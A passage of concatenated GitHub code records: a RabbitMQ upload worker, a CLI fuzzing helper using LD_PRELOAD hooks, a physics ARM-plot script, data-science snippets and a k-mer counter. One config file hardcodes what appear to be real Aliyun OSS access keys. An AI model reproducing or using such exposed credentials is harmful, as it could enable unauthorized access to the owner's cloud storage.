top_k=5))","repo_name":"hjilke/MachineLearningCheatSheet","sub_path":"rnn_seq_seq_torch.py","file_name":"rnn_seq_seq_torch.py","file_ext":"py","file_size_in_byte":8361,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"11082000029","text":"#!/usr/bin/env python\nimport pika\nimport logging\nimport json\nimport time\nimport sys\n\nfrom uploader import Uploader\n\nsleep_time = 10\nprint( \"Sleeping \" + str(sleep_time) + \" seconds to let rabbitmq start\" )\ntime.sleep(sleep_time)\n\nLOG_FORMAT = ('%(levelname) -10s %(asctime)s %(name) -30s %(funcName) -35s %(lineno) -5d: %(message)s')\nLOGGER = logging.getLogger(__name__)\n\nlogging.basicConfig(level=logging.INFO, format=LOG_FORMAT)\n\ncredentials = pika.PlainCredentials('guest', 'guest')\nconnection_parameters = pika.ConnectionParameters('rabbitmq', 5672, '/', credentials, heartbeat=600)\n\nconnection = pika.BlockingConnection(connection_parameters)\nchannel = connection.channel()\n\nchannel.queue_declare(queue='uploader')\nchannel.queue_declare(queue='uploader-processed')\n\n\ndef callback(ch, method, properties, body):\n\n\tLOGGER.info(\" [x] Received %r\" % body)\n\n\tdata = json.loads( body )\n\n\terror = None\n\toutput = None\n\n\ttry :\n\n\t\tupload = Uploader( LOGGER )\n\t\toutput, error = upload.initiate( data )\n\n\texcept Exception as ex:\n\n\t\terror = ex.message\n\n\tdata = {\n\t\t'foldername' : data['foldername']\n\t}\n\n\tif output is not None:\n\t\tdata['output'] = output\n\n\tif error is not None:\n\t\tdata['error'] = error\n\t\tLOGGER.info(\"uploader FAILED\")\n\telse:\n\t\tLOGGER.info(\"uploader COMPLETED\")\n\n\tLOGGER.info(data)\n\tdata = json.dumps(data)\n\n\tchannel.basic_publish(exchange='', routing_key='uploader-processed', body=data)\n\n\nchannel.basic_consume(on_message_callback=callback, queue='uploader', auto_ack=False)\n\nLOGGER.info('Waiting for uploaded excel files')\nchannel.start_consuming()\n","repo_name":"culturesofknowledge/site-edit","sub_path":"docker-uploader/uploader/uploader-waiter.py","file_name":"uploader-waiter.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"71912339400","text":"# -*- coding:utf-8 -*-\n\nSECRET_KEY = 'abcdefg'\n\n# OSS 例\nACCESSKEYID = 'LTAIsajNsK6jCcTD'\nACCESSKEYSECRET = 'RHiDRXVFosnd7jzTY33rPBfzoogiey'\n\nENDPOINT = 'http://oss-cn-hangzhou.aliyuncs.com'\nBUCKETNAME = 'easystock'\n\n# redis\nREDIS_HOST = 'localhost'\nREDIS_PASSWORD = ''\nREDIS_PORT=6379\n\n# 小程序\nAPPID = ''\nSECRET = ''\n\n# mongo\n# MONGO_URL='mongodb://用户:密码@域名或ip:端口/admin'\nMONGO_URL = 'mongodb://localhost'\n\n# 缓存刷新模块用的配置\nCACHE_PREFIX = 'TEST_'\nCACHE_CONFIG = {\n 'TEST': {\n 'name': 'TEST',\n 'module': 'utils.cache.testCache',\n 'func': 'test',\n 'kwargs': {'key': 1111}\n }\n\n}\n","repo_name":"kogwang/mongo-","sub_path":"systemConfig.py","file_name":"systemConfig.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"74773008200","text":"#!/usr/bin/env python3\nimport sys, subprocess, os, string, re, random\nfrom collections import namedtuple\nfrom pprint import pprint\nfrom pathlib import Path\n\nname_description = '''The field 'name' contains the name of the option.\\n'''\n\nhasarg_description = '''The field 'has_arg' is:\nno_argument (or 0) if the option does not take an argument,\nrequired_argument (or 1) if the option requires an argument,\noptional_argument (or 2) if the option takes an optional argument.\\n'''\n\nchar_option_description = '''The field 'char_option' is \"True\" if the option is a \\\ncharacter option, \"False\" otherwise.\\n'''\n\nOption_tuple_description = name_description + hasarg_description + char_option_description\n\nOption = namedtuple('Option', ['name', 'has_arg', 'char_option'])\n\nCoverage = namedtuple('Coverage', ['lines_covered', 'branches_covered',\n 'branches_taken', 'calls_executed', 'successful_calls'])\nCoverage.__new__.__defaults__ = (0,) * len(Coverage._fields)\n\npossible_char_options = string.ascii_letters + string.digits + string.punctuation\n\nRANDOM_SEED = 20001\n\nclass ParseInterrupt(Exception):\n pass\n\n# All of these can possibly go inside classes.\ndef random_string(stringlength=30, exclude_list=[], shell=False):\n # subprocess isn't capable of taking in 0x00 as an input\n # shell determines if the final subprocess invocation would be with shell=True\n # we wish to eliminate shell special characters in such cases.\n str1 = \"\"\n length = random.randrange(1, stringlength)\n bash_special_characters = ['`', '!', ';', '&', '\"', \"'\", '|', '$']\n whitespace_characters = [' ', '\\t', '\\r', '\\n', '\\x0b', '\\x0c']\n quote_characters = [\"'\"]\n for i in range(length):\n a = random.choice(string.printable)\n # a = chr(random.randint(1,255))\n while a in exclude_list:\n a = random.choice(string.printable)\n # a = chr(random.randint(1,255))\n if shell :\n while a in (bash_special_characters + whitespace_characters) and \\\n random.random() > 0.2:\n a = random.choice(string.printable)\n # a = chr(random.randint(1,255))\n str1 += a\n if shell:\n str1 = \"$'\" + str1 + \"'\"\n return str1\n\n# The LD_PRELOAD trick works differently in Linux and MacOS.\n# os.uname() returns a tuple of (sysname nodename release version machine). I need the sysname.\ndef get_env(dynlink_list):\n # require dynlink_list to contain just names and not extensions. e.g. myopen, mystrcmp.\n dl_path = os.getcwd() + '/c-lib/'\n env = {\n **os.environ\n }\n if os.uname()[0] == \"Darwin\":\n extension = \".dylib\"\n elif os.uname()[0] == \"Linux\":\n extension = \".so\"\n else:\n raise OSError(\"Couldn't detect OSType, can't load shared libraries\")\n dynlink_value = \"\"\n for dynlink in dynlink_list:\n if dynlink_value == \"\":\n dynlink_value = dl_path + dynlink + extension\n else:\n dynlink_value = dynlink_value + \":\" + dl_path + dynlink + extension\n if os.uname()[0] == \"Darwin\":\n env[\"DYLD_FORCE_FLAT_NAMESPACE\"] = '1'\n env[\"DYLD_INSERT_LIBRARIES\"] = dynlink_value\n elif os.uname()[0] == \"Linux\":\n env[\"LD_PRELOAD\"] = dynlink_value\n return env\n\n\ndef check_file_existence(file):\n filepath = Path(file)\n return filepath.exists()\n\n\n\n'''\nThis function extract_valid_option_values tries to extract the valid set of arguments for options that\n(optionally) require an argument.\nThe design is a bit clunky. We overwrote libc functions strcmp and strncmp to print the values being\ncompared before continuing the execution. This poses a threat to testing programs that could change the state\nof the system. So, for now we focus on the those programs that don't change states.\nWe pass a random string to the program as an input to the argument. Then we see if that argument turns up\nanywhere to be compared.\nThere's no one single programming style across multiple C binaries within the coreutils package.\nSo I have hacked around a bit to find out the arguments. The algorithm is more of a heuristic because\nthere will be cases where it can fail.\n\nIf this returns \"number\", then that options requires a number.\nIf this returns empty list, then it isn't compared to any value and whatever is passed is instead used up\nsomewhere inside the program.\nOtherwise it returns a list of arguments that's the option value is being compared to.\n'''\ndef extract_valid_option_values(inp_str, arg='lkjfhsfr'):\n inp_str_list = inp_str.split('\\n')\n inp_str_list[:] = (value for value in inp_str_list if value != '')\n args_list = []\n # ls returns it in second parameter\n # also possibly the following list of programs\n # du, touch, cp, rm, date, uniq, tee, numfmt, sort, tail, ptx, od\n # basically anything that uses XARGMATCH\n search_pattern = r'second parameter:\\' *' + arg + \"'\"\n upper_search_pattern = r'second parameter:\\' *' + arg.upper() + \"'\"\n pattern_found = False\n\n for line in inp_str_list:\n if re.search(search_pattern, line) or re.search(upper_search_pattern, line):\n pattern_found = True\n # tac (and all utilities that expect separators) may return None\n # on the next check\n if re.search(r\"first parameter:'(.*?)', .*\", line) is not None:\n arg = re.search(r\"first parameter:'(.*?)', .*\", line).group(1)\n args_list.append(arg)\n if pattern_found:\n return args_list\n\n # this set of programs use streq for comparing, in the first parameter\n # wc\n search_pattern = r'first parameter:\\' *' + arg + \"'\"\n upper_search_pattern = r'first parameter:\\' *' + arg.upper() + \"'\"\n for line in inp_str_list:\n if re.search(search_pattern, line) or re.search(upper_search_pattern, line):\n pattern_found = True\n #similar to tac in previous case\n if re.search(r\"second parameter:'(.*?)', .*\", line) is not None:\n arg = re.search(r\"second parameter:'(.*?)', .*\", line).group(1)\n args_list.append(arg)\n if pattern_found:\n return args_list\n # if the string has been found by now, then it takes values from a fixed set\n\n # if the \"invalid\" word is found after this, then it takes a number\n\n if args_list == []:\n search_pattern = r'invalid.*'+arg;\n pattern_found = False\n for line in inp_str_list:\n if re.search(search_pattern, line) is not None:\n pattern_found = True\n break\n if pattern_found:\n return \"Number\"\n # if neither has been found then it is used in the program internally\n # even if it takes particular values, we can't know it.\n # So we pass some random strings.\n return args_list\n\ndef extract_valid_arg_number(inp_str, arg='lkjfhsfr'):\n stat_search_pattern = r'stat: '+ arg\n open_search_pattern = r'open: '+ arg\n missing_operand_search_pattern = r\"missing.*operand after .*\" + arg\n failed_access_search_pattern = r\"failed to access .*\" + arg #for ln\n cannot_access_search_pattern = r\"cannot access .*\" + arg #for dir\n\n if inp_str == \"\":\n return 0\n\n elif re.search(stat_search_pattern, inp_str) is not None:\n return 1\n\n elif re.search(open_search_pattern, inp_str) is not None:\n return 1\n\n elif re.search(cannot_access_search_pattern, inp_str) is not None:\n return 1\n\n elif re.search(missing_operand_search_pattern, inp_str) is not None:\n return 2\n\n elif re.search(failed_access_search_pattern, inp_str) is not None:\n return 2\n\n else: # bilkul nahi ricks lene ka\n return 0\n\n# IMP: This logic works with only code. No guarantees for system installed programs.\n# might also fail with code. No guarantees. Will update for individual cases\n# as and when they appear\ndef run_process_with_test_arg(process, arg=\"lkjfhsfr\"):\n env = get_env([\"myopen\", \"mystat\"])\n args = [process, arg]\n try:\n exec_result = subprocess.run(args, env=env, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, timeout=1,\n universal_newlines=True)\n if exec_result.returncode == 1:\n # this could be for other reasons too, like readlink which just doesn't care. :P\n print (\"Checking if file required failed. Please check. Maybe dynamic libraries weren't found.\")\n print (exec_result)\n sys.exit(1)\n else:\n if exec_result.stderr == '':\n return (extract_valid_arg_number(exec_result.stdout, arg))\n else:\n return (extract_valid_arg_number(exec_result.stderr, arg))\n except FileNotFoundError:\n print (\"FileNotFoundError: The process file wasn't found\")\n sys.exit(1)\n except Exception as e:\n print (e)\n\n\n\ndef run_process_with_test_option_value(process, Option, num_args, arg=\"lkjfhsfr\"):\n env = get_env([\"mystrcmp\"])\n file_arg = [\"randomfile\"]\n if num_args == 1:\n file_arg = [\"FILE/README\"]\n elif num_args == 2:\n file_arg = [\"FILE/sortedfile1.txt\", \"FILE/sortedfile2.txt\"]\n if Option.char_option:\n args = [process, \"-\" + Option.name + \" \" + arg] + file_arg\n else:\n args = [process, \"--\" + Option.name + \"=\" + arg] + file_arg\n try:\n exec_result = subprocess.run(args, env=env, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, timeout=20,\n universal_newlines=True)\n except subprocess.TimeoutExpired as e:\n print (\"couldn't extract values for option {} as attempt timed out.\".format(Option.name))\n return None\n except Exception as e:\n print (e)\n return None\n return (extract_valid_option_values(exec_result.stdout + exec_result.stderr, arg))\n\n'''\nFrom https://linux.die.net/man/3/getopt\n\nBy default, getopt() permutes the contents of argv as it scans, so that eventually all the nonoptions are at the end. Two other modes are also implemented. If the first character of optstring is '+' or the environment variable POSIXLY_CORRECT is set, then option processing stops as soon as a nonoption argument is encountered. If the first character of optstring is '-', then each nonoption argv-element is handled as if it were the argument of an option with character code 1. (This is used by programs that were written to expect options and other argv-elements in any order and that care about the ordering of the two.) The special argument \"--\" forces an end of option-scanning regardless of the scanning mode.\nIf the first character (following any optional '+' or '-' described above) of optstring is a colon (':'), then getopt() returns ':' instead of '?' to indicate a missing option argument.\n'''\ndef get_options(process, insert_invalid_options=False, log=False):\n env = get_env([\"mygetopt\"])\n try:\n exec_result = subprocess.run(process, env=env, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n universal_newlines=True)\n out = exec_result.stdout\n err = exec_result.stderr\n if log:\n print (exec_result.returncode)\n print (\"out:\", out, \"\\nerr:\", err, \"\\nend of err.\")\n except FileNotFoundError as e:\n print (\"FileNotFoundError Exception: Called Process to get_options not found\", e)\n return None\n except subprocess.CalledProcessError as e:\n print (\"subprocess.CalledProcessError Exception: Called Process to get_options returned error\", e.returncode)\n return None\n\n if out == \"\":\n if log:\n print (\"options extraction return code:\", exec_result.returncode)\n print (\"options return failed with no output\")\n return None\n\n args_list = out.split('\\n')[:-1]# ignoring the last ''\n\n # this means the program doesn't use getopt or its variants\n # the exception is handled in the caller \"get_grammar\"\n if 'optstring: ' not in args_list[0]:\n return None\n # first we parse the single character options\n if len(args_list[0].split()) <2:\n single_c_options = \"\"\n else:\n single_c_options = args_list[0].split()[1]\n options_list = []\n ind = 0\n # we don't consider getopt list starting with '+' or '-' or ':'\n if single_c_options != \"\" and (single_c_options[0] in ['+', '-', ':']):\n single_c_options = single_c_options[1:]\n # the following check eliminates the cases when single_c_options would begin with '+:' or '-:'\n if single_c_options != \"\" and single_c_options[0] == ':':\n single_c_options = single_c_options[1:]\n\n while ind < len(single_c_options):\n if ind < len(single_c_options) - 2 and single_c_options[ind+1] == ':' \\\n and single_c_options[ind+2] == ':':\n options_list.append(Option(single_c_options[ind], 2, True))\n ind += 2\n\n elif ind < len(single_c_options) - 1 and single_c_options[ind + 1] == ':':\n options_list.append(Option(single_c_options[ind], 1, True))\n ind += 1\n else:\n options_list.append(Option(single_c_options[ind], 0, True))\n ind += 1\n\n if (insert_invalid_options):\n for char in possible_char_options:\n if char not in single_c_options:\n options_list.append(Option(char, 0, True))\n break\n\n for longarg in args_list[1:]:\n name = longarg.split()[0].split(':')[1]\n has_arg = int(longarg.split()[1].split(':')[1])\n options_list.append(Option(name, has_arg, False))\n\n if (args_list[1:] and insert_invalid_options):\n name = \"invalid-option-r5frh4\"\n options_list.append(Option(name, 0, False))\n\n\n if log:\n for arg in options_list:\n print (arg.name, arg.has_arg)\n return options_list\n\nexpected_testopt_list =[\n Option(name='b', has_arg=1, char_option=True),\n Option(name='a', has_arg=0, char_option=True),\n Option(name='c', has_arg=2, char_option=True),\n Option(name='d', has_arg=0, char_option=True)]\n\nexpected_testlongopt_list =[Option(name='a', has_arg=0, char_option=True),\n Option(name='b', has_arg=0, char_option=True),\n Option(name='c', has_arg=1, char_option=True),\n Option(name='d', has_arg=1, char_option=True),\n Option(name='m', has_arg=2, char_option=True),\n Option(name='f', has_arg=2, char_option=True),\n Option(name='verbose', has_arg=0, char_option=False),\n Option(name='brief', has_arg=0, char_option=False),\n Option(name='add', has_arg=0, char_option=False),\n Option(name='noarg_dummy', has_arg=0, char_option=False),\n Option(name='delete', has_arg=1, char_option=False),\n Option(name='reqarg_dummy', has_arg=1, char_option=False),\n Option(name='modify', has_arg=2, char_option=False),\n Option(name='optarg_dummy', has_arg=2, char_option=False)]\n\nif __name__ == \"__main__\":\n testopt_options = get_options(\"tests/testopt\", insert_invalid_options=True)\n if testopt_options is None:\n raise TypeError(\"unable to extract testopt_options\")\n if (sorted(testopt_options) != sorted(expected_testopt_list)):\n print (\"ERROR: extracted testopt options don't match expected testopt options\")\n print (\"Extracted testopt options:\")\n pprint(testopt_options)\n print (\"Expected testopt options:\")\n pprint(expected_testopt_list)\n print(\"**Not conducting further tests. Exiting now!!\")\n sys.exit(1)\n\n testlongopt_options = get_options(\"tests/testlongopt\")\n if testlongopt_options is None:\n raise TypeError(\"unable to extract testlongopt_options\")\n if (sorted(testlongopt_options) != sorted(expected_testlongopt_list)):\n print (\"ERROR: extracted testlongopt options don't match expected testlongopt options\")\n print (\"Extracted testlongopt options:\")\n pprint(testlongopt_options)\n print (\"Expected testlongopt options:\")\n pprint(expected_testlongopt_list)\n sys.exit(1)\n print(\"Extraction of testopt and testlongopt went successfully. Yayy!\")\n","repo_name":"clifuzzer/fse2022-clifuzzer","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":16558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"11701549992","text":"###############################################################################################################################################################################\n#Written by Rhea Senthil Kumar\n###############################################################################################################################################################################\n\nimport ROOT as M\nfrom math import pi\nimport argparse\nimport Helper as h\nimport multiprocessing as mp\nfrom os import path\npool = mp.Pool(mp.cpu_count())\n\n#################################################################################################################################################################################\n\n# Load MEGAlib into ROOT\nM.gSystem.Load(\"$(MEGALIB)/lib/libMEGAlib.so\")\n\n# Initialize MEGAlib\nG = M.MGlobal()\nG.Initialize()\n\n# We are good to go ...\nGeometryName = \"/volumes/selene/users/rhea/geomega/COSI.DetectorHead.geo.setup\"\n\nparser = argparse.ArgumentParser(description='Create comparison of ARM plots from event reconstruction files and source location.')\nparser.add_argument('-f', '--filename', default='ComptonTrackIdentification.p1.sim.gz', help='txt file name used for calculating ARM. Contains paths to tra files.')\nparser.add_argument('-m', '--minevents', default='1000000', help='Minimum number of events to use')\nparser.add_argument('-x', '--xcoordinate', type=float, default='26.1', help='X coordinate of position in 3D Cartesian coordinates')\nparser.add_argument('-y', '--ycoordinate', type=float, default='0.3', help='Y coordinate of position in 3D Cartesian coordinates')\nparser.add_argument('-z', '--zcoordinate', type=float, default='64', help='Z coordinate of position in 3D Cartesian coordinates') \nparser.add_argument('-l', '--logarithmic', type=str, default='no', help='If set to yes, displays ARM plot on a logarithmic-scaled y-axis.') \nparser.add_argument('-e', '--energy', type=float, default='662', help='Peak energy value for source. Outputs ARM histograms with a +-1.5% energy window.')\nparser.add_argument('-t', '--title', type=str, default='\"ARM Plot for Compton Events\"', help='Title for ARM Plot')\nparser.add_argument('-b', '--batch', type=str, default='no', help='If set to yes, runs program in batch mode.')\nparser.add_argument('-i', '--isotope', type=str, default='none', help='The name of the isotope')\nparser.add_argument('-r', '--run', type=str, default='none', help='The name of the run')\nparser.add_argument('-p', '--training', type=str, default='none', help='The name of the training output file')\n\n\n\nargs = parser.parse_args()\n\nif args.filename != \"\":\n FileName = args.filename\n\nX = float(args.xcoordinate)\nY = float(args.ycoordinate)\nZ = float(args.zcoordinate)\nprint(\"INFO: Using location ({}/{}/{})\".format(X, Y, Z))\n\nif args.logarithmic != \"\":\n log = args.logarithmic\n\nenergy = args.energy\nlow_e = 0.985 * float(args.energy)\nhigh_e = 1.015 * float(args.energy)\n\nif int(args.minevents) < 1000000:\n MinEvents = int(args.minevents)\n\nif args.title != \"\":\n title = args.title\n\nrun=args.run\nisotope=args.isotope\ntraining = args.training\n\ntitle = \"{} ({}, {} keV): ARM comparison \".format(run, isotope, energy)\n\nBatch = False\nif args.batch == 'yes':\n M.gROOT.SetBatch(True)\n Batch = True \n \n###################################################################################################################################################################################\n\n#Read in Files\ntrafiles = []\nf = open(args.filename, \"r\")\nline = str(f.readline()).strip()\nwhile line:\n trafiles.append(line)\n print(trafiles[-1])\n line = str(f.readline()).strip()\n\n# Load geometry:\nGeometry = M.MDGeometryQuest()\nif Geometry.ScanSetupFile(M.MString(GeometryName)) == True:\n print(\"Geometry \" + GeometryName + \" loaded!\")\nelse:\n print(\"Unable to load geometry \" + GeometryName + \" - Aborting!\")\n quit()\n \n#Create Histogram list and color\nHistARMlist = []\nfor i in range(0, len(trafiles)):\n HistARMlist.append(M.TH1D(\"ARM Plot of Compton events\" + str(i), title, 3601, -180, 180))\n \nHistARMlist[0].SetLineColor(M.kRed)\nif len(HistARMlist) >= 2: \n HistARMlist[1].SetLineColor(M.kGreen)\nif len(HistARMlist) >= 3: \n HistARMlist[2].SetLineColor(M.kBlue)\nif len(HistARMlist) >= 4: \n HistARMlist[3].SetLineColor(M.kBlack)\n\n# Load file\nfor y in range(0, len(trafiles)):\n Reader = M.MFileEventsTra()\n if Reader.Open(M.MString(trafiles[y])) == False:\n print(\"Unable to open file \" + FileName + \". Aborting!\")\n quit()\n else:\n print(\"File \" + FileName + \" loaded!\")\n\n#Fill Histogram values\n counter = 0\n while counter <= 1000000:\n Event = Reader.GetNextEvent()\n counter = counter + 1\n if not Event:\n break\n\n if (Event.GetType() == M.MPhysicalEvent.c_Compton) and (low_e <= Event.Ei() <= high_e):\n ARM_value = Event.GetARMGamma(M.MVector(X, Y, Z))*(180.0/pi);\n print(ARM_value)\n HistARMlist[y].Fill(Event.GetARMGamma(M.MVector(X, Y, Z))*(180.0/pi));\n elif Event.GetType() == M.MPhysicalEvent.c_Photo:\n pass\n\n#Parallelizing\nFWHMs = [None]*len(trafiles)\nRMSs = [None]*len(trafiles)\nPeaks = [None]*len(trafiles)\n#if __name__ == '__main__':\nfor i in range(0, len(trafiles)):\n FWHMs[i] = pool.apply(h.bootstrapFWHM, args=(HistARMlist[i], 1000,))\n RMSs[i] = pool.apply(h.bootstrapRMS, args=(HistARMlist[i], 1000,))\n Peaks[i] = pool.apply(h.bootstrapPeak, args=(HistARMlist[i], 1000,))\npool.close()\npool.join()\n\n#############################################################################################################################################################################\n\n#Draw Histogram, Set Up Canvas\n\nmax = HistARMlist[0].GetMaximum()\nfor m in range(1, len(trafiles)):\n if HistARMlist[m].GetMaximum()>max:\n max = HistARMlist[m].GetMaximum()\nfor m in range(0, len(trafiles)):\n HistARMlist[m].SetMaximum(1.1*max)\n\nCanvasARM = M.TCanvas(\"CanvasARM\", title, 650, 800)\nprint(\"Drawing ARM histograms for each method...\")\nfor m in range(0, len(trafiles)):\n if log == 'yes':\n M.gPad.SetLogy()\n HistARMlist[0].GetYaxis().SetTitle(\"Counts [logarithmic]\")\n HistARMlist[m].Draw(\"same\")\n else:\n HistARMlist[0].GetYaxis().SetTitle(\"Counts\")\n HistARMlist[m].Draw(\"same\")\nHistARMlist[0].SetTitle(title)\nHistARMlist[0].GetXaxis().SetTitle(\"ARM [deg]\")\nHistARMlist[0].GetXaxis().CenterTitle()\nHistARMlist[0].GetYaxis().CenterTitle()\nHistARMlist[0].GetYaxis().SetTitleOffset(1.7)\n\nCanvasARM.cd()\nCanvasARM.SetGridx()\nCanvasARM.SetBottomMargin(0.5)\n\n#Create Legend [Method, RMS Value, Peak Height, Total Count, FWHM]\nprint(\"Creating legend...\")\nHeader = M.TH1D(\"Legend Header placeholder\", \" \", 1, -180, 180)\nHeader.SetLineColor(M.kWhite)\nlegend = M.TLegend(0.15, 0.35, 0.85, 0.1)\nlegend.SetTextSize(0.017)\nlegend.SetNColumns(5)\n\nlegend.AddEntry(Header, \"Analysis Methods\", \"l\")\nlegend.AddEntry(Header, \"RMS Value\", \"l\")\nlegend.AddEntry(Header, \"Peak Height\", \"l\")\nlegend.AddEntry(Header, \"Total Count\", \"l\")\nlegend.AddEntry(Header, \"FWHM\", \"l\")\n\nlegend.AddEntry(HistARMlist[0], \"Classic Method\", \"l\")\nlegend.AddEntry(HistARMlist[0], str(round(HistARMlist[0].GetRMS(), 2)) + \"+-\" + str(RMSs[0]), \"l\")\nlegend.AddEntry(HistARMlist[0], str(h.getMaxHist(HistARMlist[0])) + \"+-\" + str(Peaks[0]), \"l\")\nlegend.AddEntry(HistARMlist[0], str(HistARMlist[0].GetEntries()), \"l\") \nlegend.AddEntry(HistARMlist[0], str(h.getFWHM(HistARMlist[0])) + \"+-\"+ str(FWHMs[0]), \"l\")\n\nif len(HistARMlist) >= 2: \n legend.AddEntry(HistARMlist[1], \"Bayes Method\", \"l\")\n legend.AddEntry(HistARMlist[1], str(round(HistARMlist[1].GetRMS(), 2)) + \"+-\" + str(RMSs[1]), \"l\")\n legend.AddEntry(HistARMlist[1], str(h.getMaxHist(HistARMlist[1])) + \"+-\" + str(Peaks[1]), \"l\")\n legend.AddEntry(HistARMlist[1], str(HistARMlist[1].GetEntries()), \"l\")\n legend.AddEntry(HistARMlist[1], str(h.getFWHM(HistARMlist[1])) + \"+-\"+ str(FWHMs[1]), \"l\")\n\nif len(HistARMlist) >= 3: \n legend.AddEntry(HistARMlist[2], \"MLP Method\", \"l\")\n legend.AddEntry(HistARMlist[2], str(round(HistARMlist[2].GetRMS(), 2)) + \"+-\" + str(RMSs[2]), \"l\")\n legend.AddEntry(HistARMlist[2], str(h.getMaxHist(HistARMlist[2])) + \"+-\" + str(Peaks[2]), \"l\")\n legend.AddEntry(HistARMlist[2], str(HistARMlist[2].GetEntries()), \"l\")\n legend.AddEntry(HistARMlist[2], str(h.getFWHM(HistARMlist[2])) + \"+-\"+ str(FWHMs[2]), \"l\")\n\nif len(HistARMlist) >= 4: \n legend.AddEntry(HistARMlist[3], \"RF Method\", \"l\")\n legend.AddEntry(HistARMlist[3], str(round(HistARMlist[3].GetRMS(), 2)) + \"+-\" + str(RMSs[3]), \"l\")\n legend.AddEntry(HistARMlist[3], str(h.getMaxHist(HistARMlist[3])) + \"+-\" + str(Peaks[3]), \"l\")\n legend.AddEntry(HistARMlist[3], str(HistARMlist[3].GetEntries()), \"l\")\n legend.AddEntry(HistARMlist[3], str(h.getFWHM(HistARMlist[3])) + \"+-\"+ str(FWHMs[3]), \"l\")\n\nlegend.Draw()\n\nCanvasARM.Update()\n\n#create txt file with comparable metrics\nmethods = [\"Classic Method\", \"Bayes Method\", \"MLP Method\", \"RF Method\"]\nprint(\"writing to a txt file...\")\n#if not path.exists(\"log.FileName.txt\"):\nmetrics_file = open(training+\".log.txt\", \"a+\")\n\n#metrics_file.write(\"Length of FWHMS: \" + str(len(FWHMs)) + \"\\n\")\n#metrics_file.write(\"Length of HistARMlist: \"+ str(len(HistARMlist))+ \"\\n\")\nmetrics_file.write(args.filename + \": \")\nfor i in range(0, len(FWHMs)):\n metrics_file.write(str(h.getFWHM(HistARMlist[i])) + \"\\t\")\n# metrics_file.write(str(FWHMs[i]) + \"\\t\")\nfor i in range(0, len(FWHMs)):\n metrics_file.write(str(round(HistARMlist[i].GetRMS(), 2)) + \"\\t\")\n# metrics_file.write(str(RMSs[i]) + \"\\t\")\nmetrics_file.write(\"\\n\")\nmetrics_file.close()\n#else:\n# metrics_file = open(\"log.FileName.txt\", \"a+\")\n# metric_file.write(\"Energy Line: \" + str(energy) + \"\\t\")\n# for i in range(0, len(FWHMs)):\n# metrics_file.write(str(FWHMs[i]) + \"\\t\")\n# for i in range(0, len(FWHMs)): \n# metrics_file.write(str(RMSs[i]) + \"\\t\")\n# metrics_file.write(\"\\n\")\n# metrics_file.close()\n\n# Prevent the canvases from being closed\n\nif Batch == False:\n import os\n print(\"ATTENTION: Please exit by clicking: File -> Close ROOT! Do not just close the window by clicking \\\"x\\\"\")\n print(\" ... and if you didn't honor this warning, and are stuck, execute the following in a new terminal: kill \" + str(os.getpid()))\n M.gApplication.Run()\nif Batch == True:\n CanvasARM.SaveAs(\"Results_{}_{}_{}keV.pdf\".format(run, isotope, energy))\n \n","repo_name":"rheask8246/COSIPrograms","sub_path":"ARMoutput.py","file_name":"ARMoutput.py","file_ext":"py","file_size_in_byte":10443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"727512150","text":"import pandas as pd # Импорт библиотеки pandas — при выполнении последовательно всех примеров ниже, импорт библиотеки pandas выполняется один раз\nimport json # Импортируем модуль json\nfrom pprint import pprint # Импортируем функцию pprint()\n\n \nwith open('c:/Users/kot/OneDrive/Documents/GitHub/SkillFactory-DTS/module-python/module16/data/recipes.json') as f:\n recipes = json.load(f)\n\nall_ingredients=set() # Создаем пустое множество для хранения реестра уникальных ингредиентов\nfor recipe in recipes: # Начинаем перебор всех блюд входящих в список\n for ingredient in recipe['ingredients']: # Начинаем перебор всех ингредиентов входящих в состав текущего блюда\n all_ingredients.add(ingredient ) # Добавляем уникальный ингредиент в реестр\n \ndf = pd.DataFrame(recipes) # Создаем объект DataFrame из списка recipes\n\ndef contains(ingredient_list): # Определяем имя функции и передаваемые аргументы\n if ingredient_name in ingredient_list: # Если ингредиент есть в текущем блюде,\n return 1 # возвращаем значение 1\n else: # Если ингредиента нет в текущем блюде,\n return 0 # возвращаем значение 0\n \nfor ingredient_name in all_ingredients: # Последовательно перебираем ингредиенты в реестре all_ingredients\n df[ingredient_name] = df['ingredients'].apply(contains) # В DataFrame cоздаем столбец с именем текущего ингредиента и заполняем его единицами и нулями, используя ранее созданную функцию contains\n\ndf['ingredients'] = df['ingredients'].apply(len) # Заменяем список ингредиентов в рецепте, на их количество\n\n\n","repo_name":"kdunaev-a10/SkillFactory-DTS","sub_path":"module-python/module16/module16-1.py","file_name":"module16-1.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"22298213190","text":"#!/usr/bin/env python3\n\nimport re\nimport sys\nfrom Bio import SeqIO\n\nfastqfile = sys.argv[2]\nkmer_length =int(sys.argv[1])\nnum_see = int(sys.argv[3])\n\nkmerdict = {}\n\nfor seq_record in SeqIO.parse(fastqfile, 'fastq'):\n\tsequence_str = str(seq_record.seq)\n\tsequence_str = sequence_str.rstrip()\n\trounds = len(sequence_str)-kmer_length+1 #Add the +1 bc python doesnt count well\n\n\tfor i in range(rounds):\n\t\tkmer = sequence_str[i:i+kmer_length]\n\t\tif kmer in kmerdict:\n\t\t\tkmerdict[kmer] +=1\n\t\telse:\n\t\t\tkmerdict[kmer] = 1\n\nkmer_list = kmerdict.items()\nkmer_sort = sorted(kmer_list, key=lambda tup: tup[1], reverse=True)\n\nfor i in range(num_see):\n\tprint (kmer_sort[i])\n","repo_name":"elizabethvmiller/PFB_problemsets","sub_path":"problemsets/rnaseq2/countingkmers.py","file_name":"countingkmers.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"15148021034","text":"import pywikibot\r\nfrom pywikibot import 